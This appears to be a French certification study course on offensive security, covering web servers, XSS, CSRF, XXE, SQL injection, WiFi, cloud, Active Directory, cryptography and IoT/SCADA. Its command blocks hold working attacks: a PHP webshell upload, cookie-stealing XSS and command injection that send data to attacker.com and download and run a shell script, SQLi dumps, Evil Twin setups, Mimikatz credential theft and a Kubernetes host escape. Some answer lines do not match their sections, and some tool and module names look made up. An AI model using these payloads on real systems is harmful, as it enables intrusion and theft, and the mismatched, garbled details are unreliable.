Web hacking, injection SQL, wireless, cloud, cryptographie et IoT
Apache/IIS, configuration, attaques serveur, déflation, DDoS applicatif
Un serveur web est un logiciel qui traite les requêtes HTTP/HTTPS et renvoie les réponses au client. La compréhension de l'architecture interne est fondamentale pour identifier les vecteurs d'attaque. Les trois principaux serveurs web — Apache, Nginx et IIS — ont des comportements très différents en termes de gestion des modules, des virtual hosts et des fichiers de configuration.
# Apache - Configuration de virtual hosts
<VirtualHost *:80>
ServerName www.example.com
DocumentRoot /var/www/example
<Directory /var/www/example>
AllowOverride All
</Directory>
</VirtualHost>
# Nginx - Reverse proxy config
location /api/ {
proxy_pass http://127.0.0.1:8080/;
proxy_set_header Host $host;
}
# IIS - web.config handler mapping
<system.webServer>
<handlers>
<add name="PHP-FastCGI" path="*.php"
modules="FastCgiModule"
scriptProcessor="C:\php\php-cgi.exe" />
</handlers>
</system.webServer>Dans extra/httpd-vhosts.conf et les .htaccess : ils définissent ServerName et DocumentRoot à énumérer ensuite par gobuster vhost.
Les misconfigurations de serveurs web constituent l'une des vecteurs d'attaque les plus courants. Un serveur dont la version est exposée, qui exécute des modules non nécessaires, ou qui autorise des méthodes HTTP dangereuses offre une surface d'attaque considérable. Les HTTP methods (PUT, DELETE, TRACE, CONNECT, OPTIONS) doivent être strictement contrôlées.
# Vérifier les méthodes HTTP autorisées
curl -X OPTIONS http://target.com/ -v
# Tenter d'uploader un fichier avec PUT
curl -X PUT http://target.com/uploads/shell.php -d "<?php system($_GET['cmd']); ?>"
# Test de TRACE (Cross-Site Tracing)
curl -X TRACE http://target.com/ -v
# Désactiver les méthodes dangereuses Apache (.htaccess)
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(PUT|DELETE|TRACE|CONNECT) $
RewriteRule .* - [F]curl -X OPTIONS -v : elle révèle les méthodes activées avant tout test d'upload ou de tracing autorisé.
Les attaques par inclusion de fichiers exploitent la capacité d'un serveur web à inclure des fichiers basés sur une entrée utilisateur non validée. Le Directory/Path Traversal utilise les séquences ../ pour accéder à des fichiers en dehors du répertoire racine. L'inclusion peut être locale (LFI) ou distante (RFI).
# Path Traversal — accès à /etc/passwd
curl "http://target.com/page.php?file=../../../../etc/passwd"
# LFI avec wrapper PHP — lecture du code source
curl "http://target.com/page.php?file=php://filter/convert.base64-encode/resource=index.php"
# LFI avec php://input (POST data exécuté comme PHP)
curl -X POST "http://target.com/page.php?file=php://input" -d "<?php system('id'); ?>"
# RFI — inclusion d'un shell distant
curl "http://target.com/page.php?file=http://attacker.com/shell.txt"
# SSRF — accès aux métadonnées AWS
curl "http://target.com/api?url=http://169.254.169.254/latest/meta-data/"
# SSRF interne — scan de ports locaux
curl "http://target.com/proxy?host=http://127.0.0.1:3306"Parce qu'il lit le code PHP sans l'exécuter, en base64 : il expose mots de passe et clés avant toute RCE.
La Remote Code Execution (RCE) via serveur web est l'aboutissement le plus critique d'une attaque. Elle peut être obtenue par un upload de webshell, l'exploitation de CGI, ou la manipulation d'environnements. L'énumération est l'étape préliminaire essentielle qui révèle la structure du serveur, les virtual hosts cachés et les contenus sensibles.
# Gobuster — énumération de virtual hosts gobuster vhost -u http://target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50 # Gobuster — énumération de répertoires gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 100 # Nikto — scan de vulnérabilités serveur web nikto -h http://target.com -o nikto_report.html # WhatWeb — identification de technologies whatweb http://target.com -v # wafw00f — détection de WAF wafw00f http://target.com # WPScan — scan WordPress wpscan --url http://target.com --enumerate vp,vt,u
Si le fichier est exécutable et accessible (MIME, droits, .htaccess) : un accès direct qui exécute signe la RCE à corriger.
XSS, CSRF, SSRF, XXE, upload malveillant, sessions
L'OWASP Top 10 est la liste de référence des risques de sécurité les plus critiques pour les applications web. Chaque catégorie représente un vecteur d'attaque distinct avec ses propres mécanismes d'exploitation. Un test de pénétration efficace doit couvrir systématiquement chaque vecteur lors de la phase d'analyse.
# Identifier les failles OWASP via Nikto nikto -h http://target.com -Tuning 1234567890abc # Scanner automatisé OWASP avec OWASP ZAP (CLI) zap-cli quick-scan -s all -r http://target.com # Test IDOR — modification de l'ID utilisateur curl "http://target.com/api/users/1001" → réponse OK curl "http://target.com/api/users/1002" → réponse OK (faille IDOR) # Vérifier les headers de sécurité manquants curl -I http://target.com/ | grep -i "x-frame-options\|strict-transport\|x-content-type"
A04 Insecure Design et A08 Integrity Failures (supply chain) : absents en 2017, ils sanctionnent l'architecture, pas seulement le code.
Le XSS est une injection de code dans le navigateur de la victime. L'attaquant insère du JavaScript malveillant qui s'exécute dans le contexte d'une session légitime. Trois variantes existent selon la manière dont le payload est injecté et exécuté.
# XSS Réfléchi — vol de cookie via webhook
http://target.com/search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
# XSS Persistant — injection dans un champ de profil
<img src=x onerror="fetch('http://attacker.com/log?data='+localStorage)">
# XSS DOM-based — manipulation via hash URL
http://target.com/page#<img src=x onerror="alert(document.domain)">
# Payload alternatif sans balises script
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>Reflected exige un clic, stored s'exécute à chaque affichage, DOM ne passe jamais par le serveur et échappe aux WAF serveur.
Ces trois vecteurs exploitent des mécanismes différents pour compromettre une application web. Le CSRF abuse de la confiance du navigateur envers un site, le XXE exploite le traitement des entrées XML, et l'injection de commandes OS permet l'exécution directe de code sur le serveur.
# CSRF — formulaire de transfert automatique
<form method="POST" action="http://target.com/transfer">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
# XXE — lecture de /etc/passwd
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>&xxe;</user>
# Command Injection — exfiltration de données
; cat /etc/passwd | curl -X POST http://attacker.com/data -d @-
$(wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh)Le pipe et le point-virgule (; , | , &&) : ils enchaînent directement la commande du serveur, le pipe étant le plus testé au CEH.
L'upload de fichiers malveillants constitue une porte d'entrée directe vers l'exécution de code sur le serveur. Les attaques de session visent à détourner l'identité d'un utilisateur authentifié. Burp Suite est l'outil de référence pour intercepter, modifier et automatiser les requêtes HTTP lors d'un pentest web.
# Upload de webshell avec bypass # Étape 1 : Créer un fichier PHP avec header JPEG printf '\xff\xd8\xff\xe0' > shell.php.jpg echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg # Burp Intruder — brute force login POST # Configurer les positions : ^USER^ et ^PASS^ # Payloads : wordlist pour username, rockyou pour password # Grep Match : "Welcome" (succès) vs "Invalid" (échec) # Burp Repeater — tester une injection # Modifier le paramètre dans Repeater # Observer la différence de réponse (taille, contenu, code HTTP) # Session fixation — forcer un session ID curl -c "PHPSESSID=attacker_known_session_id" http://target.com/login # La victime utilise ce cookie → session hijack
Contre la fixation : session_regenerate_id plus HttpOnly et Secure empêche la réutilisation d'un ID imposé avant auth.
SQLi classique, blind, union-based, time-based, outils automatisés
L'injection SQL est une faille qui survient lorsqu'une entrée utilisateur est concaténée directement dans une requête SQL sans requête paramétrée. L'attaquant modifie la logique de la requête pour accéder, modifier ou supprimer des données. Chaque système de gestion de bases de données (SGBD) a des particularités syntaxiques qui influencent l'exploitation.
# Détection — test d'injection SQL ' OR '1'='1 ' OR '1'='1'-- " OR "1"="1 1' AND 1=1-- (vrai) 1' AND 1=2-- (faux) 1' AND SLEEP(5)-- (vrai si temps de réponse augmente) # Extraction version MySQL ' UNION SELECT NULL, version(), NULL-- # Extraction noms de tables MySQL ' UNION SELECT NULL, GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=database()--
Une concaténation non paramétrée probable : premier indice d'injection à confirmer par vrai/faux et time-based autorisés.
L'injection in-band est le type le plus direct : les résultats de l'injection sont visibles directement dans la réponse HTTP. L'attaque UNION-based utilise l'opérateur UNION SQL pour combiner les résultats de deux requêtes, tandis que l'error-based exploite les messages d'erreur détaillés pour extraire les données.
# UNION-Based — déterminer le nombre de colonnes ' ORDER BY 1-- (OK) ' ORDER BY 5-- (OK) ' ORDER BY 6-- (ERREUR → 5 colonnes) # Trouver les colonnes visibles ' UNION SELECT NULL, NULL, NULL, NULL, NULL-- ' UNION SELECT 1, NULL, NULL, NULL, NULL-- ' UNION SELECT 1, 'test', NULL, NULL, NULL-- # UNION-Based extraction complète ' UNION SELECT NULL, GROUP_CONCAT(username,0x3a,password), NULL, NULL, NULL FROM users-- # Error-Based extraction (MySQL) ' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))-- ' AND updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 1),0x7e),1)--
Par ORDER BY croissant jusqu'à l'erreur : le dernier OK donne le compte, puis UNION SELECT NULL pour les colonnes visibles.
La SQLi aveugle (blind) ne produit aucune erreur visible ni aucun résultat dans la réponse. L'attaquant doit déduire les informations caractère par caractère en observant le comportement de l'application (différence de réponse, temps de réponse, contenu alternatif).
# Boolean-Based Blind — extraction caractère par caractère
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- (vrai)
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='b'-- (faux)
# Répéter pour chaque position et caractère
# Time-Based Blind — test de condition
' AND IF(1=1,SLEEP(5),0)-- (délai de 5s → vrai)
' AND IF(1=2,SLEEP(5),0)-- (pas de délai → faux)
# Time-Based Blind — extraction caractère par caractère
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)--
# SQLmap — automatisation complète
sqlmap -u "http://target.com/page?id=1" --dbs --batch
sqlmap -u "http://target.com/page?id=1" --dump-all --batch --threads=10
# NoSQL Injection (MongoDB) — bypass auth
POST /login
{"username": {"$ne": ""}, "password": {"$ne": ""}}Quand aucune différence visible n'existe : seul le délai SLEEP, WAITFOR DELAY ou pg_sleep révèle vrai ou faux.
L'injection SQL ne se limite pas aux requêtes SELECT. Les injections dans UPDATE, INSERT, DELETE et ORDER BY nécessitent des techniques différentes car le contexte de la requête change. Une injection dans UPDATE peut modifier des données existantes, tandis qu'une injection dans INSERT ajoute des enregistrements malveillants.
# Injection UPDATE — suppression de données
UPDATE users SET password='$pwd' WHERE id=1;
# Injection : ' WHERE id=1; DROP TABLE users;--
# Injection INSERT — ajout d'un admin
INSERT INTO users (name,email) VALUES ('$name','$email');
# Injection : ', 'admin_hack'); INSERT INTO admin(username) VALUES('hacker');--
# Injection DELETE — suppression massive
DELETE FROM logs WHERE id='$id';
# Injection : ' OR 1=1--
# Résultat : supprime TOUS les logs
# Injection ORDER BY — extraction via erreur MySQL
' ORDER BY 1 AND (SELECT 1 FROM (SELECT COUNT(*),
CONCAT((SELECT version()),FLOOR(RAND(0)*2))x
FROM information_schema.tables GROUP BY x)a)--
# Second-Order SQLi
# Inscription : username = admin'--
# Requête UPDATE exécutée plus tard :
# UPDATE users SET name='admin'--' WHERE id=123Parce que le payload dort en base à l'inscription et s'exécute plus tard : les filtres d'entrée ne le voient pas.
Les contre-mesures contre l'injection SQL reposent sur plusieurs couches : la validation des entrées, les requêtes paramétrées, l'utilisation d'ORM, les WAF, et la minimisation des privilèges de la base de données. SQLmap est l'outil automatisé de référence pour tester l'ensemble de ces vecteurs.
# SQLmap — scan complet
sqlmap -u "http://target.com/page?id=1" --dbs --batch
# SQLmap — dump d'une table spécifique
sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump --batch
# SQLmap — dump complet (attention : long)
sqlmap -u "http://target.com/page?id=1" --dump-all --batch --threads=10
# SQLmap — bypass WAF avec tamper
sqlmap -u "http://target.com/page?id=1" --tamper=between,charencode,space2comment --batch
# SQLmap — shell OS (post-exploitation)
sqlmap -u "http://target.com/page?id=1" --os-shell --batch
# SQLmap — cookies et auth
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123" --batch
# Contre-mesure : requête paramétrée (PHP PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $id]);Les requêtes paramétrées (PDO, PreparedStatement) : la structure est fixée avant les données, jamais interprétées comme code.
WiFi hacking : WEP, WPA, WPS, rogue AP, Evil Twin
Les réseaux sans fil utilisent le standard IEEE 802.11 et différents protocoles de chiffrement dont la robustesse varie considérablement. Comprendre l'évolution de WEP à WPA3 est essentiel pour identifier les vecteurs d'attaque et choisir les contre-mesures appropriées lors d'un pentest WiFi.
# Activer le mode monitor airmon-ng check kill airmon-ng start wlan0 # Scanner les réseaux disponibles airodump-ng wlan0mon # Capturer le handshake d'un réseau spécifique airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # Forcer la désauthentification pour capturer le handshake aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Cracker le handshake avec aircrack-ng aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap # Cracker avec hashcat (GPU, format PMKID/22000) hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt
Parce qu'il contient nonces et MIC dérivés du PSK via PBKDF2 : rejouer le dictionnaire hors ligne retrouve le mot de passe faible.
Le cracking WiFi varie selon le protocole. WEP est trivial grâce à la faiblesse de son IV, WPA/WPA2 nécessite un dictionnaire ou une attaque GPU, et WPS est vulnérable au brute force du PIN à 8 chiffres vérifié en deux parties.
# WEP — fake auth + injection ARP aireplay-ng --fakeauth 0 -a TARGET_MAC wlan0mon aireplay-ng --interactive -b TARGET_MAC wlan0mon # Quand assez d'IV collectés (~40000) aircrack-ng capture-01.cap # WPA2 PMKID avec hashcat hcxpcapngtool -o hash.hc22000 capture.cap hashcat -m 22000 hash.hc22000 rockyou.txt -a 0 # Attaque WPS avec Reaver reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv # Attaque WPS avec Bully (plus rapide sur certains AP) bully -b AA:BB:CC:DD:EE:FF -c 6 -d -v 3 wlan0mon # Générer une wordlist personnalisée crunch 10 10 abcdefghijklmnop -t @@@@2026 -o custom.txt
Parce que le PIN se brute-force indépendamment du mot de passe : un bon PSK ne protège pas d'un WPS actif.
Les attaques Rogue AP et Evil Twin créent un point d'accès frauduleux pour intercepter le trafic des utilisateurs. L'attaquant se positionne entre les victimes et l'AP légitime (MITM). Le WiFi Pineapple est un outil dédié à ce type d'attaque avec une interface web complète.
# Créer un Evil Twin avec hostapd # Fichier hostapd.conf interface=wlan1 driver=nl80211 ssid=FreeWiFi channel=6 hw_mode=g # Lancer hostapd hostapd hostapd.conf # Rediriger le trafic vers l'attaquant (MITM) echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j REDIRECT --to-port 10000 # WiFi Pineapple — modules principaux # Karma : répond aux probe requests # DnsSpoof : redirige les DNS vers l'attaquant # Captive Portal : phishing pour voler les mots de passe # Wifiphisher — Evil Twin avec phishing automatique wifiphisher --essid "CorpoWiFi" -p firmware-upgrade
L'AP doit présenter un certificat valide : sans lui, le client refuse, même avec le bon SSID et un fort signal.
Les contre-mesures WiFi reposent sur l'authentification robuste, la segmentation réseau et le monitoring continu. La suite aircrack-ng est l'outil de référence pour les tests de pénétration WiFi avec des commandes spécialisées pour chaque phase de l'attaque.
# aircrack-ng — suite complète # 1. Vérifier les interfaces et activer le mode monitor airmon-ng check kill airmon-ng start wlan0 # 2. Scanner les réseaux (appuyer sur Enter pour filtrer) airodump-ng wlan0mon # 3. Capturer un réseau spécifique (canal + BSSID) airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w output wlan0mon # 4. Injection de désauthentification aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon # 5. Fake auth pour WEP aireplay-ng --fakeauth 30 -a AA:BB:CC:DD:EE:FF -h MY_MAC wlan0mon # 6. ARP replay pour générer du trafic WEP aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF -h MY_MAC wlan0mon # 7. Cracker WEP aircrack-ng output-01.cap # 8. Cracker WPA2 aircrack-ng -w rockyou.txt output-01.cap
airmon-ng, airodump-ng, aireplay-ng puis aircrack-ng : chaque étape alimente la suivante jusqu'au crack autorisé.
AWS, Azure, GCP — misconfiguration, SSRF metadata, token theft
Le modèle de responsabilité partagée (Shared Responsibility Model) définit exactement qui est responsable de la sécurité dans le cloud. Il varie selon le type de service (IaaS, PaaS, SaaS). Un pentester cloud doit comprendre ces frontières pour savoir quels vecteurs tester et quels composants sont de la responsabilité du client.
# Vérifier les permissions IAM (AWS CLI) aws iam get-account-authorization-details --output json # Lister les roles IAM aws iam list-roles --output table # Vérifier les politiques d'un utilisateur aws iam list-attached-user-policies --user-name admin # Énumérer les buckets S3 aws s3 ls --no-sign-request # Vérifier les permissions d'un bucket S3 public aws s3api get-bucket-acl --bucket target-bucket --no-sign-request # Pacu — framework de post-exploitation AWS pacu --session my-session Pacu[my-session] > run iam__enum_permissions Pacu[my-session] > run s3__enum_buckets
En IaaS : OS, VPC et security groups. En SaaS : politiques utilisateurs, SSO et intégrations : le périmètre change avec le modèle.
AWS est le cloud le plus testé en pentest. Les misconfigurations S3 (buckets publics), les IAM over-permissives et le SSRF vers le metadata service (169.254.169.254) sont les vecteurs d'attaque les plus exploités. Le metadata service AWS IMDS fournit les credentials temporaires des instances EC2, ce qui est très lucratif pour un attaquant.
# SSRF — accès au metadata service AWS (IMDSv1) curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME # IMDSv2 — obtenir le token puis les credentials TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/ # Utiliser les credentials volés avec AWS CLI export AWS_ACCESS_KEY_ID=AKIA... export AWS_SECRET_ACCESS_KEY=... aws sts get-caller-identity # Énumération S3 avec les credentials aws s3 ls s3://target-bucket --recursive
curl -X OPTIONS -v : elle révèle les méthodes activées avant tout test d'upload ou de tracing autorisé.
Azure et Google Cloud ont des architectures de sécurité différentes. Azure AD (Entra ID) est la cible de prédilection des attaques Active Directory modernes (Pass-the-Hash, Golden Ticket, DCSync). GCP est plus simple mais offre des vecteurs distincts (buckets storage, service accounts, metadata).
# Mimikatz — Pass-the-Hash mimikatz# sekurlsa::logonpasswords mimikatz# sekurlsa::pth /user:Administrator /domain:CORP /ntlm:HASH /run:powershell.exe # Mimikatz — Golden Ticket mimikatz# privilege::debug mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-123456789 /krbtgt:HASH /ptt # Mimikatz — DCSync mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt # Azure — énumérer les applications (az cli) az ad signed-in-user show az ad app list --all | jq '.[].appId' # GCP — metadata service curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" # GCP — énumérer les buckets sans credentials gsutil ls gs://target-bucket
Le hash krbtgt, le SID du domaine et privilege::debug : le TGT forgé vaut 10 ans par défaut si le sync Azure existe.
Les conteneurs et Kubernetes sont devenus des cibles majeures dans le cloud. Un Docker escape permet de sortir d'un conteneur pour accéder à l'hôte. Les clusters Kubernetes mal configurés exposent des API sans authentification. CloudGoat et Pacu sont les frameworks de référence pour l'entraînement au cloud pentest.
# Docker — test du docker.sock monté
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it busybox chroot /host sh
# Kubernetes — énumération API
kubectl get pods --all-namespaces
kubectl get secrets
kubectl get rolebindings --all-namespaces
# Créer un pod privilégié (mount host root)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: pwn
spec:
hostNetwork: true
hostPID: true
containers:
- name: pwn
image: busybox
command: ["/bin/sh"]
stdin: true
volumeMounts:
- name: hostfs
mountPath: /host
volumes:
- name: hostfs
hostPath:
path: /
EOF
# CloudGoat — installer un scénario
python create.py iam_privesc_by_attachment
# Vérifier CloudTrail
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=RunInstancesdocker.sock et hostPath / : ils donnent l'hôte ou le noeud, à interdire hors besoin justifié et tracé.
Chiffrement symétrique/asymétrique, attaques, PKI, hashing
La cryptographie sert à garantir quatre objectifs de sécurité distincts : la confidentialité (seul le destinataire légitime lit le message), l'intégrité (le message n'a pas été modifié), l'authentification (on sait qui a envoyé le message), et la non-répudiation (l'expéditeur ne peut pas nier son envoi). Le chiffrement symétrique utilise la même clé pour chiffrer et déchiffrer.
# Chiffrer et déchiffrer avec OpenSSL (AES-256-CBC) openssl enc -aes-256-cbc -salt -in fichier.txt -out fichier.enc -k passphrase # Déchiffrer openssl enc -d -aes-256-cbc -in fichier.enc -out fichier.txt -k passphrase # Chiffrement symétrique avec GCM (mode authentifié) openssl enc -aes-256-gcm -in fichier.txt -out fichier.enc -k passphrase -iv $(openssl rand -hex 12) # Liste des ciphers supportés openssl list -cipher-algorithms | grep AES
GCM : il combine chiffrement et MAC intégré, là où ECB fuit et CBC exige une implémentation parfaite.
Le chiffrement asymétrique utilise une paire de clés : une publique (distribution libre) et une privée (secrete). On l'utilise pour le chiffrement, la signature numérique, et l'échange de clés symétriques (hybride). Les fonctions de hachage produisent une empreinte de longueur fixe irréversible utilisée pour l'intégrité et le stockage de mots de passe.
# Générer une paire de clés RSA openssl genrsa -out private.pem 2048 openssl rsa -in private.pem -pubout -out public.pem # Générer une paire de clés EC (Ed25519) openssl genpkey -algorithm Ed25519 -out ec_private.pem # Chiffrer RSA avec la clé publique openssl pkeyutl -encrypt -inkey public.pem -pubin -in fichier.txt -out fichier.enc # Signer et vérifier une signature SHA-256 openssl dgst -sha256 -sign private.pem -out signature.bin fichier.txt openssl dgst -sha256 -verify public.pem -signature signature.bin fichier.txt # Hachages echo -n "CEH" | md5sum echo -n "CEH" | sha1sum echo -n "CEH" | sha256sum # Cracker des hash MD5 avec hashcat (mode 0) hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -a 0 # Cracker bcrypt (mode 3200) hashcat -m 3200 bcrypt_hash.txt rockyou.txt -a 0
Collisions démontrées (2004, SHAttered 2017) : avalanche brisée, un attaquant forge deux documents au même hash.
Les attaques cryptographiques exploitent les faiblesses des implémentations, les limites mathématiques, ou les erreurs d'implémentation. Le paradoxe des anniversaires et les collisions menacent les fonctions de hachage. La PKI (Public Key Infrastructure) organise la confiance autour des certificats numériques.
# Inspecter un certificat openssl x509 -in cert.pem -text -noout # Vérifier la chaîne de certification openssl verify -CAfile ca-chain.pem server_cert.pem # Inspecter un certificat serveur TLS openssl s_client -connect example.com:443 -showcerts # Vérifier l'expiration d'un certificat echo | openssl s_client -servername example.com -connect example.com:443 2>/dev/null | openssl x509 -noout -dates # Générer une CSR (Certificate Signing Request) openssl req -new -key private.key -out request.csr -subj "/CN=www.example.com" # Tester SSL/TLS (sslscan) sslscan --no-colour example.com # Tester TLS avec testssl.sh (complet) testssl.sh --full example.com
Que le serveur dit si le padding CBC est valide : en rejouant des paddings, on déchiffre sans la clé, d'où GCM et TLS récents.
La stéganographie cache l'existence d'un message dans un autre média (image, audio, vidéo) contrairement au chiffrement qui cache le contenu. Les attaquants l'utilisent pour dissimuler l'exfiltration de données (data hiding). Côté défense, le cracking d'hash vérifie la force des mots de passe.
# Steghide — cacher un fichier dans une image steghide embed -cf image.jpg -ef secret.txt -p passphrase # Steghide — extraire le fichier caché steghide extract -sf image.jpg -p passphrase # Snow — cacher une donnée dans des espaces (texte) snow -C -p passphrase -m "Message secret" texte.txt secret_text.txt # Snow — extraire snow -C -p passphrase secret_text.txt # Zsteg — analyse des bits les moins significatifs (PNG/BMP) zsteg -a image.png # stegsolve — visualisation des plans de bits (GUI) stegsolve # Hashcat — mask attack brute force hashcat -m 0 hash.txt -a 3 ?u?l?l?l?d?d?d # Hashcat — hybrid (wordlist + mask) hashcat -m 0 hash.txt -a 6 wordlist.txt ?d?d?d?d # Hashcat — rule attack (mutations) hashcat -m 0 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule # Identifier le type de hash avant le crack hashid '5f4dcc3b5aa765d61d8327deb882cf99'
Identifier avec hashid : le mode (-m) et l'attaque (-a 0, 1, 3, 6) dépendent du type exact, sinon le GPU tourne à vide.
IoT hacking, firmware analysis, attaques SCADA/ICS, Raspberry Pi
L'Internet des Objets (IoT) repose sur une architecture en couches : les devices (capteurs, actionneurs), les gateways (passerelles), le cloud (backend de traitement) et les protocoles de communication qui les relient. Chaque couche a des vulnérabilités spécifiques. La majorité des dispositifs IoT sont mal sécurisés : credentials par défaut, pas de chiffrement, ports exposés.
# Énumération MQTT — s'abonner à tous les topics (mosquitto_sub) mosquitto_sub -h target-ip -p 1883 -t '#' -v # Publier un message malveillant mosquitto_pub -h target-ip -p 1883 -t 'devices/lamp/on' -m '1' # Scan des ports d'un device IoT nmap -T4 -A -p- 192.168.1.50 # Découverte UPnP (Universal Plug and Play) upnpc -l # Shodan — recherche de devices exposés # Fabriqué : search "port:1883" (brokers MQTT publics) # Exemple : shodan search --limit 10 'port:1883 country:FR' # coap-client pour interroger une ressource CoAP coap-client -m get coap://target-ip/.well-known/core
Que le broker est ouvert sans authentification : lecture et injection totales, compromission de l'architecture à corriger par TLS et ACL.
L'analyse de firmware est la discipline centrale du pentest IoT. Le firmware (image embarquée) contient souvent des secrets : credentials hardcodés, clés de chiffrement, adresses internes, API keys cloud. Les étapes sont l'extraction, l'identification des fichiers, la recherche des secrets, et la ré-analyse pour exploitation.
# Extraction du firmware avec binwalk binwalk -Me firmware.bin # -M : recursive, -e : extraction # Analyser les signatures du firmware binwalk -A firmware.bin # Rechercher des secrets dans le firmware strings firmware.bin | grep -i -E "password|root|admin|api_key|token|secret" # Extraire une liste de strings strings firmware.bin > firmware_strings.txt # Dépaqueter avec firmware-mod-kit ./extract-firmware.sh firmware.bin # Émuler un device ARM avec QEMU qemu-system-arm -M versatilepb -kernel vmlinuz -initrd initrd.img -hda rootfs.img # Firmadyne — émulation complète de firmware ./firmadyne-run.sh firmware_extracted 1 # Recherche de devices exposés sur Shodan (interface CLI) shodan search 'country:FR "Linux" port:22'
strings filtré sur password, api_key et token après binwalk -Me : c'est la méthode standard CEH avant émulation.
Les systèmes SCADA (Supervisory Control and Data Acquisition) et ICS (Industrial Control Systems) contrôlent les infrastructures critiques (électricité, eau, pétrole, production). Les protocoles industriels sont conçus pour la fiabilité et la vitesse, PAS pour la sécurité : ils sont fragiles par design, sans authentification ni chiffrement.
# Scan d'un réseau industriel (découverte Modbus)
nmap -sS -p 502 --open 192.168.1.0/24
# Shodan — recherche PLC Modbus exposés
shodan search 'port:502' --fields ip_str,port,org
# Metasploit — lecture des registres Modbus
msfconsole
msf6 > use auxiliary/scanner/scada/modbusdetect
msf6 auxiliary(scanner/scada/modbusdetect) > set RHOSTS 192.168.1.10
msf6 > use auxiliary/scanner/scada/modbus_find_bits
msf6 > use auxiliary/scanner/scada/modbus_judyplfp
# Python modbus_tk — lecture des registres
python3 -c "
import modbus_tk.defines as cst
import modbus_tk.modbus_tcp as mt
m = mt.ModbusTcpClient('192.168.1.10')
val = m.execute(1, cst.READ_HOLDING_REGISTERS, 0, 20)
print(val)
"
# Recherche de la documentation ICS en clair
grep -ri "modbus\|dnp3\|profinet" /usr/share/nmap/scripts/ | head -20
# Scripts Nmap SCADA :
# nmap --script modbus-discover -p 502 192.168.1.10
# nmap --script s7-info -p 102 192.168.1.10 (Siemens S7)Parce qu'une sonde peut bloquer un PLC temps réel et stopper le process physique : cadrage, fenêtre et segmentation obligatoires.
Les protocoles sans fil courts à portée de main (BLE, Zigbee) ont des attaques spécifiques : sniffing, injection, spoofing. BlueBorne est une vulnérabilité critique touchant tous les appareils Bluetooth. Les contre-mesures IoT reposent sur la segmentation, les mises à jour et l'isolation des environnements OT/IT.
# Ubertooth — capture de trames BLE ubertooth-btle -f -c ch37 # Analyse des trames BLE dans Wireshark # Interface : ubertooth-btle # Filtre d'affichage : btle # BLE — énumération GATT (gattool) gatttool -b AA:BB:CC:DD:EE:FF -I [AA:BB:CC:DD:EE:FF][LE]> primary [AA:BB:CC:DD:EE:FF][LE]> characteristics [AA:BB:CC:DD:EE:FF][LE]> char-read-hnd 0x000a # Zigbee — capture de trames 802.15.4 (Wireshark) # Interface : zbstumbler -i zigbee-dongle zbstumbler -a -v -m IEEE802_15_4A # KillerBee — injection dans le réseau Zigbee zbigks -d zigbee-gateway zbwids # Metasploit — BlueBorne exploit msf6 > use exploit/android/bluetooth/blueborne_conn_secure # ESP32 — dump du flash avec esptool esptool.py --port /dev/ttyUSB0 read_flash 0x000000 0x400000 flash.bin
OT séparé d'IT (physique ou virtuel strict) plus VLAN IoT, firmwares à jour et defaults changés : sinon un BLE compromet la prod.